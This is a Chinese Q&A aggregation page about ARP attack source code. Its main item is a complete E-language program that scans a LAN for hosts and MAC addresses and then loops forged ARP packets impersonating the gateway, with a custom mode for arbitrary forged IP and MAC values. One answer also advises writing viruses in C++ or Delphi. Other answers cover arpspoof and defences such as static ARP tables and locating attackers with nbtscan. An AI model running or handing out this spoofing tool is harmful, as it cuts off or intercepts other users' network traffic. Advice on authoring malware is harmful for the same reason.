arp攻擊源碼
㈠ 如何在linux下進行arp欺騙攻擊實驗
arpspoof,有這個就可以了 你可以下載它的源碼包看,開源的,用的是libnet,libpcap庫,屬於dsniff包中的一個組成部分
㈡ 易語言實現ARP欺騙後怎麼實現接收ARP包
模塊用精易模塊3.41
.版本 2
.支持庫 ERawSock
.支持庫 eAPI
.支持庫 HtmlView
.支持庫 spec
.支持庫 iext
.支持庫 EThread
.程序集 窗口程序集1
.程序集變數 ARP, ARP協議
.程序集變數 網卡信息, 網卡信息, , "0"
.程序集變數 _知, bei
.程序集變數 線程池, 類_線程池
.程序集變數 全_計數, 整數型
.子程序 _DLL_區域網_創建完畢
.局部變數 局_計次, 整數型
網卡信息 = 取網卡信息列表 ()
.計次循環首 (取數組成員數 (網卡信息), 局_計次)
組合框1.加入項目 (網卡信息 [局_計次].網卡名稱, )
.計次循環尾 ()
組合框1.現行選中項 = 0
_組合框1_列表項被選擇 ()
編輯框1.內容 = 取IP地址 (取主機名 ())
_知.是否繼續 = 假
ARP.打開網路適配器 (組合框1.現行選中項 + 1)
ARP.配置網路適配器 (2, 1024, 200)
超文本瀏覽框1. = 真
.子程序 _埠掃描_被選擇
調用子程序 (全_交互.掃描內存地址, , , 超級列表框1.取標題 (超級列表框1.現行選中項, 0))
.子程序 _超級列表框1_右鍵單擊表項
彈出菜單 (介面區域網菜單, , )
.子程序 _按鈕_探測主機_被單擊
.局部變數 局_計次, 整數型
.局部變數 重組IP, 文本型, , "4"
.計次循環首 (超級列表框1.取表項數 (), 局_計次)
.如果真 (到整數 (超級列表框1.取標題 (局_計次 - 1, 3)) ≠ 0)
線程_銷毀 (到整數 (超級列表框1.取標題 (局_計次 - 1, 3)))
.如果真結束
系統_處理事件 ()
.計次循環尾 ()
.判斷開始 (按鈕_探測主機.標題 = 「探測內網主機」)
重組IP = 分割文本 (刪首尾空 (編輯框1.內容), 「.」, 4)
.如果真 (取數組成員數 (重組IP) = 4)
_知.IP = 重組IP [1] + 「.」 + 重組IP [2] + 「.」 + 重組IP [3] + 「.」
' 獲得IP
超級列表框1.全部刪除 ()
按鈕_探測主機.禁止 = 真
全_計數 = 0
_知.MAC地址 = 「」
.判斷開始 (組合框2.現行選中項 = 0)
.判斷開始 (線程池.啟動 (到整數 (編輯框2.內容), &獲取MAC, 0))
_知.許可證 = 創建進入許可證 ()
.計次循環首 (225, 局_計次)
.如果真 (線程池.加入工作 (局_計次))
程序_延時 (10, )
.如果真結束
系統_處理事件 ()
.計次循環尾 ()
按鈕_探測主機.標題 = 「停止」
按鈕_探測主機.禁止 = 假
.默認
按鈕_探測主機.禁止 = 假
.判斷結束
.默認
.判斷開始 (線程池.啟動 (到整數 (編輯框2.內容), &Ping探測, 0))
.計次循環首 (225, 局_計次)
線程池.加入工作 (局_計次)
系統_處理事件 ()
.計次循環尾 ()
按鈕_探測主機.標題 = 「停止」
按鈕_探測主機.禁止 = 假
.默認
按鈕_探測主機.禁止 = 假
.判斷結束
.判斷結束
.如果真結束
.默認
啟動線程 (&探測停止, , )
.判斷結束
.子程序 _ARP欺騙啟用_被選擇
.局部變數 局_句柄, 整數型
.判斷開始 (超級列表框1.現行選中項 ≠ -1)
_知.是否繼續 = 真
局_句柄 = 線程_啟動 (&ARP欺騙, , )
超級列表框1.置標題 (超級列表框1.現行選中項, 3, 到文本 (局_句柄))
超級列表框1.置標題 (超級列表框1.現行選中項, 2, 「斷開」)
調用子程序 (全_交互.狀態條地址, , , 「ARP欺騙啟用...」)
.默認
鳴叫 ()
調用子程序 (全_交互.狀態條地址, , , 「當前未選中欺騙對象!」)
.判斷結束
' 本源碼來自易語言資源網(www.5A5X.com)
.子程序 _ARP欺騙停止_被選擇
.如果 (線程_銷毀 (到整數 (超級列表框1.取標題 (超級列表框1.現行選中項, 3))))
超級列表框1.置標題 (超級列表框1.現行選中項, 3, 「」)
超級列表框1.置標題 (超級列表框1.現行選中項, 2, 「恢復」)
調用子程序 (全_交互.狀態條地址, , , 「ARP欺騙已停止..」)
.否則
.如果結束
.子程序 隨機MAC, 文本型
.局部變數 i, 整數型
.局部變數 M, 文本型, , "6"
.計次循環首 (6, i)
置隨機數種子 ()
置隨機數種子 (取隨機數 (, ) + 取啟動時間 () + i)
M [i] = 取文本右邊 (「00」 + 取十六進制文本 (取隨機數 (0, 255)), 2)
.計次循環尾 ()
返回 (M [1] + 「-」 + M [2] + 「-」 + M [3] + 「-」 + M [4] + 「-」 + M [5] + 「-」 + M [6])
.子程序 獲取MAC
.參數 參_IP尾, 整數型
.局部變數 緩沖, 位元組型, , "6"
.局部變數 I, 整數型
.局部變數 局_MAC, 文本型
.局部變數 當前IP, 整數型
當前IP = API_inet_addr (_知.IP + 到文本 (參_IP尾))
.如果真 (API_SendARP (當前IP, 0, 緩沖, 6) = 0)
.計次循環首 (6, I)
局_MAC = 局_MAC + 取文本右邊 (「00」 + 取十六進制文本 (緩沖 [I]), 2) + 「-」
系統_處理事件 ()
.計次循環尾 ()
.如果真結束
局_MAC = 取文本左邊 (局_MAC, 17)
' 本源碼來自易語言資源網(www.5A5X.com)
.判斷開始 (局_MAC ≠ 「」)
進入許可區 (_知.許可證)
_知.MAC地址 = 局_MAC
標簽2.調用反饋事件 (參_IP尾, , 真)
退出許可區 (_知.許可證)
.默認
.判斷結束
.判斷開始 (全_計數 ≥ 224)
啟動線程 (&探測停止, , )
.默認
進入許可區 (_知.許可證)
全_計數 = 全_計數 + 1
調用子程序 (全_交互.狀態條地址, , , 「線程已掃描:」 + 到文本 (全_計數))
退出許可區 (_知.許可證)
.判斷結束
.子程序 探測停止
按鈕_探測主機.禁止 = 真
.如果真 (線程池.取狀態 ())
線程池.關閉 ()
.如果真結束
按鈕_探測主機.標題 = 「探測內網主機」
按鈕_探測主機.禁止 = 假
刪除進入許可證 (_知.許可證)
調用子程序 (全_交互.狀態條地址, , , 「ARP掃描已停止..」)
.子程序 ARP欺騙
.局部變數 arp頭, ARP頭
.局部變數 局_MAC, 文本型
.局部變數 乙太網頭, 乙太網頭
局_MAC = 隨機MAC ()
arp頭.操作類型 = #ARP常量.ARP請求
.如果真 (取數組成員數 (網卡信息) ≥ 組合框1.現行選中項 + 1)
arp頭.發送端IP地址 = 網卡信息 [組合框1.現行選中項 + 1].默認網關
.如果真結束
arp頭.發送端乙太網地址 = 局_MAC
arp頭.目的IP地址 = 超級列表框1.取標題 (超級列表框1.現行選中項, 0)
arp頭.目的乙太網地址 = 超級列表框1.取標題 (超級列表框1.現行選中項, 1)
ARP.構造ARP頭 (arp頭)
乙太網頭.乙太網源地址 = 局_MAC
乙太網頭.乙太網目的地址 = 超級列表框1.取標題 (超級列表框1.現行選中項, 1)
ARP.構造乙太網頭 (乙太網頭)
.判斷循環首 (_知.是否繼續)
ARP.發送 (1)
系統_處理事件 ()
.判斷循環尾 ()
.子程序 _DLL_區域網_將被銷毀
DLL_區域網.可視 = 假
ARP.關閉網路適配器 ()
.如果真 (按鈕_探測主機.標題 = 「停止」)
探測停止 ()
.如果真結束
.子程序 Ping探測
.參數 參_IP尾, 整數型
.局部變數 重組後IP, 文本型
.局部變數 緩沖, 位元組型, , "6"
.局部變數 局_I, 整數型
.局部變數 局_MAC, 文本型
.局部變數 當前IP, 整數型
重組後IP = _知.IP + 到文本 (參_IP尾)
.如果真 (通信測試 (重組後IP, 4000) ≠ -1)
當前IP = API_inet_addr (_知.IP + 到文本 (參_IP尾))
.如果真 (API_SendARP (當前IP, 0, 緩沖, 6) = 0)
.計次循環首 (6, 局_I)
局_MAC = 局_MAC + 取文本右邊 (「00」 + 取十六進制文本 (緩沖 [局_I]), 2) + 「-」
.計次循環尾 ()
.如果真結束
局_MAC = 取文本左邊 (局_MAC, 17)
進入許可區 (_知.許可證)
.如果 (局_MAC ≠ 「」)
_知.MAC地址 = 局_MAC
.否則
_知.MAC地址 = 「無!」
.如果結束
標簽2.調用反饋事件 (參_IP尾, , 真)
退出許可區 (_知.許可證)
.如果真結束
.判斷開始 (全_計數 ≥ 224)
啟動線程 (&探測停止, , )
.默認
進入許可區 (_知.許可證)
全_計數 = 全_計數 + 1
調用子程序 (全_交互.狀態條地址, , , 「已探測線程數:」 + 到文本 (參_IP尾))
退出許可區 (_知.許可證)
.判斷結束
.子程序 _標簽2_反饋事件, 整數型
.參數 參數一, 整數型
.參數 參數二, 整數型
.局部變數 局_索引, 整數型
局_索引 = 超級列表框1.插入表項 (-1, , , , , )
超級列表框1.置標題 (局_索引, 0, _知.IP + 到文本 (參數一))
超級列表框1.置標題 (局_索引, 1, _知.MAC地址)
.子程序 _組合框1_列表項被選擇
.局部變數 局_序號, 整數型
局_序號 = 組合框1.現行選中項 + 1
編輯框4.內容 = 「」
.如果真 (取數組成員數 (網卡信息) ≥ 局_序號)
編輯框4.加入文本 (「序號:」 + 到文本 (網卡信息 [局_序號].序號) + #換行符)
編輯框4.加入文本 (「網卡名稱:」 + 網卡信息 [局_序號].網卡名稱 + #換行符)
編輯框4.加入文本 (「IP地址:」 + 網卡信息 [局_序號].IP地址 + #換行符)
編輯框4.加入文本 (「物理地址:」 + 網卡信息 [局_序號].物理地址 + #換行符)
編輯框4.加入文本 (「子網掩碼:」 + 網卡信息 [局_序號].子網掩碼 + #換行符)
編輯框4.加入文本 (「默認網關:」 + 網卡信息 [局_序號].默認網關 + #換行符)
編輯框4.加入文本 (「Wins伺服器地址:」 + 網卡信息 [局_序號].Wins伺服器地址 + #換行符)
編輯框4.加入文本 (「DHCP伺服器地址:」 + 網卡信息 [局_序號].DHCP伺服器地址 + #換行符)
.如果真結束
.子程序 _按鈕_啟用網卡_被單擊
.判斷開始 (ARP.打開網路適配器 (組合框1.現行選中項 + 1))
.判斷開始 (ARP.配置網路適配器 (2, 1024, 200))
調用子程序 (全_交互.狀態條地址, , , 「網卡」 + 到文本 (組合框1.現行選中項 + 1) + 「啟用成功..」)
.默認
調用子程序 (全_交互.狀態條地址, , , 「網卡」 + 到文本 (組合框1.現行選中項 + 1) + 「啟用失敗..」)
.判斷結束
.默認
調用子程序 (全_交互.狀態條地址, , , 「網卡」 + 到文本 (組合框1.現行選中項 + 1) + 「打開失敗..」)
.判斷結束
.子程序 _按鈕_自定義欺騙_被單擊
.判斷開始 (按鈕_自定義欺騙.標題 = 「欺騙」)
_知.自定義ARP是否繼續 = 真
.如果真 (啟動線程 (&自定義ARP, , ))
按鈕_自定義欺騙.標題 = 「恢復」
調用子程序 (全_交互.狀態條地址, , , 「自定義ARP攻擊已開啟..」)
.如果真結束
.默認
_知.自定義ARP是否繼續 = 假
按鈕_自定義欺騙.標題 = 「欺騙」
調用子程序 (全_交互.狀態條地址, , , 「自定義ARP攻擊已關閉..」)
.判斷結束
.子程序 自定義ARP
.局部變數 arp頭, ARP頭
.局部變數 重組IP, 文本型, , "4"
.局部變數 重組後IP, 文本型
.局部變數 乙太網頭, 乙太網頭
.局部變數 緩沖, 位元組型, , "6"
.局部變數 I, 整數型
.局部變數 局_MAC, 文本型
.局部變數 當前IP, 整數型
當前IP = API_inet_addr (編輯框_目標IP.內容)
.如果真 (API_SendARP (當前IP, 0, 緩沖, 6) = 0)
.計次循環首 (6, I)
局_MAC = 局_MAC + 取文本右邊 (「00」 + 取十六進制文本 (緩沖 [I]), 2) + 「-」
系統_處理事件 ()
.計次循環尾 ()
.如果真結束
局_MAC = 取文本左邊 (局_MAC, 17)
.判斷開始 (局_MAC ≠ 「」)
編輯框_目標MAC.內容 = 局_MAC
.默認
局_MAC = 編輯框_目標MAC.內容
.判斷結束
arp頭.操作類型 = #ARP常量.ARP請求
arp頭.發送端IP地址 = 編輯框_偽造IP.內容
arp頭.發送端乙太網地址 = 編輯框_偽造MAC.內容
arp頭.目的IP地址 = 編輯框_目標IP.內容
arp頭.目的乙太網地址 = 局_MAC
ARP.構造ARP頭 (arp頭)
乙太網頭.乙太網源地址 = 隨機MAC ()
乙太網頭.乙太網目的地址 = 局_MAC
ARP.構造乙太網頭 (乙太網頭)
.判斷循環首 (_知.自定義ARP是否繼續)
ARP.發送 (1)
系統_處理事件 ()
.判斷循環尾 ()
㈢ 求ARP防火牆的源代碼,學慣用,最好是C#的
如果你要學習,Coding就自己練習寫一下;如果你是要用,網上大有很多厲害的防火牆可以使用。
bye bye
㈣ 怎麼查不到ARP木馬病毒源(如解決重謝)
查不到ARP木馬病毒源僦別查吧~浪費時間~
查不到僦防護囖~呵呵
對ARP攻擊的防護
防止ARP攻擊是比較困難的,修改協議也是不大可能。但是有一些工作是可以提高本地網路的安全性。
首先,你要知道,如果一個錯誤的記錄被插入ARP或者IP route表,可以用兩種方式來刪除。
a. 使用arp –d host_entry
b. 自動過期,由系統刪除
這樣,可以採用以下的一些方法:
1). 減少過期時間
#ndd –set /dev/arp arp_cleanup_interval 60000
#ndd -set /dev/ip ip_ire_flush_interval 60000
60000=60000毫秒 默認是300000
加快過期時間,並不能避免攻擊,但是使得攻擊更加困難,帶來的影響是在網路中會大量的出現ARP請求和回復,請不要在繁忙的網路上使用。
2). 建立靜態ARP表
這是一種很有效的方法,而且對系統影響不大。缺點是破壞了動態ARP協議。可以建立如下的文件。
test.nsfocus.com 08:00:20:ba:a1:f2
user. nsfocus.com 08:00:20:ee:de:1f
使用arp –f filename載入進去,這樣的ARP映射將不會過期和被新的ARP數據刷新,除非使用arp –d才能刪除。但是一旦合法主機的網卡硬體地址改變,就必須手工刷新這個arp文件。這個方法,不適合於經常變動的網路環境。
3).禁止ARP
可以通過ifconfig interface –arp 完全禁止ARP,這樣,網卡不會發送ARP和接受ARP包。但是使用前提是使用靜態的ARP表,如果不在apr表中的計算機 ,將不能通信。這個方法不適用與大多數網路環境,因為這增加了網路管理的成本。但是對小規模的安全網路來說,還是有效可行的
㈤ windows下的 arp攻擊及預防 源代碼
我不會,但是肯定不會用Java寫,最好也不用C#寫...
Java是平台無關的,也就是說它不能直接調用Windows下的API(除非用極其繁瑣的JNI).
C#和Java一樣是解釋性語言,雖然能調Win32 Api,但是絕對不如直接寫C得心應手! 而且如果用C#寫,如果人家沒裝.Net Framework,根本跑不了,別提什麼攻擊了.
總之,千萬別用解釋性語言寫病毒! 在windows下實現攻擊程序,建議用C++/Delphi.
希望有所幫助.
㈥ arp病毒源代碼
ARP防火牆http://www.360.cn/
ARP免疫工具:http://dl.bitscn.com/system/200705/102898.html
ARP實戰攻略:http://www.aspinfo.cn/article/netsafe/vsafe/63872.html
還可以到360網路求助,有專業人士為你解決:http://ke.360.cn/
希望幫到你...
㈦ 測試在LINUX下是否有ARP攻擊,測試在LINUX下是否有ARP攻擊
arpspoof,有這個就可以了 你可以下載它的源碼包看,開源的,用的是libnet,libpcap庫,屬於dsniff包中的一個組成部分
㈧ 如何找到ARP攻擊源!!!
1.定位ARP攻擊源頭
主動定位方式:因為所有的ARP攻擊源都會有其特徵——網卡會處於混雜模式,可以通過ARPKiller這樣的工具掃描網內有哪台機器的網卡是處於混雜模式的,從而判斷這台機器有可能就是「元兇」。定位好機器後,再做病毒信息收集,提交給趨勢科技做分析處理。
標註:網卡可以置於一種模式叫混雜模式(promiscuous),在這種模式下工作的網卡能夠收到一切通過它的數據,而不管實際上數據的目的地址是不是它。這實際就是Sniffer工作的基本原理:讓網卡接收一切它所能接收的數據。
被動定位方式:在區域網發生ARP攻擊時,查看交換機的動態ARP表中的內容,確定攻擊源的MAC地址;也可以在局域居於網中部署Sniffer工具,定位ARP攻擊源的MAC。
也可以直接Ping網關IP,完成Ping後,用ARP –a查看網關IP對應的MAC地址,此MAC地址應該為欺騙的,使用NBTSCAN可以取到PC的真實IP地址、機器名和MAC地址,如果有」ARP攻 擊」在做怪,可以找到裝有ARP攻擊的PC的IP、機器名和MAC地址。
命令:「nbtscan -r 192.168.16.0/24」(搜索整個192.168.16.0/24網段, 即192.168.16.1-192.168.16.254);或「nbtscan 192.168.16.25-137」搜索192.168.16.25-137 網段,即192.168.16.25-192.168.16.137。輸出結果第一列是IP地址,最後一列是MAC地址。NBTSCAN的使用範例:
假設查找一台MAC地址為「000d870d585f」的病毒主機。
1)將壓縮包中的nbtscan.exe 和cygwin1.dll解壓縮放到c:下。
2)在Windows開始—運行—打開,輸入cmd(windows98輸入「command」),在出現的DOS窗口中輸入:C: btscan -r 192.168.16.1/24(這里需要根據用戶實際網段輸入),回車。
3)通過查詢IP–MAC對應表,查出「000d870d585f」的病毒主機的IP地址為「192.168.16.223」。
通過上述方法,我們就能夠快速的找到病毒源,確認其MAC——〉機器名和IP地址。
2.防禦方法
a.使用可防禦ARP攻擊的三層交換機,綁定埠-MAC-IP,限制ARP流量,及時發現並自動阻斷ARP攻擊埠,合理劃分VLAN,徹底阻止盜用IP、MAC地址,杜絕ARP的攻擊。
b.對於經常爆發病毒的網路,進行Internet訪問控制,限制用戶對網路的訪問。此類ARP攻擊程序一般都是從Internet下載到用戶終端,如果能夠加強用戶上網的訪問控制,就能極大的減少該問題的發生。
c.在發生ARP攻擊時,及時找到病毒攻擊源頭,並收集病毒信息,可以使用趨勢科技的SIC2.0,同時收集可疑的病毒樣本文件,一起提交到趨勢科技的TrendLabs進行分析,TrendLabs將以最快的速度提供病毒碼文件,從而可以進行ARP病毒的防禦。
㈨ C語言ARP攻擊源代碼
輸入arp-d
㈩ 哪裡有arp病毒的源代碼嗎本人教學用多謝
可以去卡巴的論壇里問,有般殺掉病毒,都是知道它的源代碼的